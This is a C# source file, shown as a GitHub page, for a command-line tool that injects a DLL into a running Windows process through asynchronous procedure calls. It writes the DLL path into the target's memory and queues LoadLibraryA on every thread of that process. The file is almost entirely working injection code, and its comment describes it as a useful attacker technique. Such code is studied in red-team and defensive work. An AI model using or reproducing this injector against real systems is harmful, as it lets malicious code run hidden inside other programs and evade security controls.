-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathProgram.cs
More file actions
157 lines (129 loc) · 5.47 KB
/
Program.cs
File metadata and controls
157 lines (129 loc) · 5.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
/*
* Process Injection via Asynchronous Procedure Calls
* Benefit of Remote Thread Process Injection because we're not creating a thread.
* Perhaps inferior to other methods such as process hollowing, but a useful TTP.
*/
namespace APC_Injection
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint th32ProcessID);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool Thread32First(IntPtr hSnapshot, ref THREADENTRY32 lpte);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool Thread32Next(IntPtr hSnapshot, ref THREADENTRY32 lpte);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
static extern UInt32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
public const int
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_WRITE = 0x0020,
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
TH32CS_SNAPTHREAD = 0x00000004,
PAGE_READWRITE = 0x0040;
[Flags]
private enum SnapshotFlags : uint
{
HeapList = 0x00000001,
Process = 0x00000002,
TH32CS_SNAPTHREAD = 0x00000004,
Module = 0x00000008,
Module32 = 0x00000010,
Inherit = 0x80000000,
All = 0x000001F,
NoHeaps = 0x40000000
}
[Flags]
private enum ThreadAccess : uint
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200)
}
public struct THREADENTRY32
{
internal UInt32 dwSize;
internal UInt32 cntUsage;
internal UInt32 th32ThreadID;
internal UInt32 th32OwnerProcessID;
internal UInt32 tpBasePri;
internal UInt32 tpDeltaPri;
internal UInt32 dwFlags;
}
static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: ApcInject <pid> <dllpath>");
return;
}
// Grab a handle, allocate, and write the string DLL name we're to inject in memory as a byte[].
uint pid = (uint)Int32.Parse(args[0]);
IntPtr hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, pid);
IntPtr memLoc = (IntPtr)null;
IntPtr buffer = VirtualAllocEx(hProcess, memLoc, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int output;
WriteProcessMemory(hProcess, buffer, System.Text.Encoding.UTF8.GetBytes(args[1]), (UInt32)args[1].Length, out output);
// Get threads associated with our PID.
List<uint> tids = new List<uint>();
IntPtr hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
Console.WriteLine("Bad handle.");
return;
}
THREADENTRY32 te = new THREADENTRY32();
te.dwSize = (uint) Marshal.SizeOf(te);
if (Thread32First(hSnapshot, ref te))
{
do
{
if (te.th32OwnerProcessID == pid)
{
tids.Add(te.th32ThreadID);
}
} while (Thread32Next(hSnapshot, ref te));
}
// Open thread and schedule via APC.
if(tids.Count == 0)
{
Console.WriteLine("No injectable threads.");
return;
}
foreach (uint tid in tids)
{
IntPtr hThread = OpenThread(ThreadAccess.SET_CONTEXT, false, tid);
QueueUserAPC(GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"), hThread, buffer);
CloseHandle(hThread);
}
CloseHandle(hProcess);
Console.WriteLine("APC Sent!");
return;
}
}
}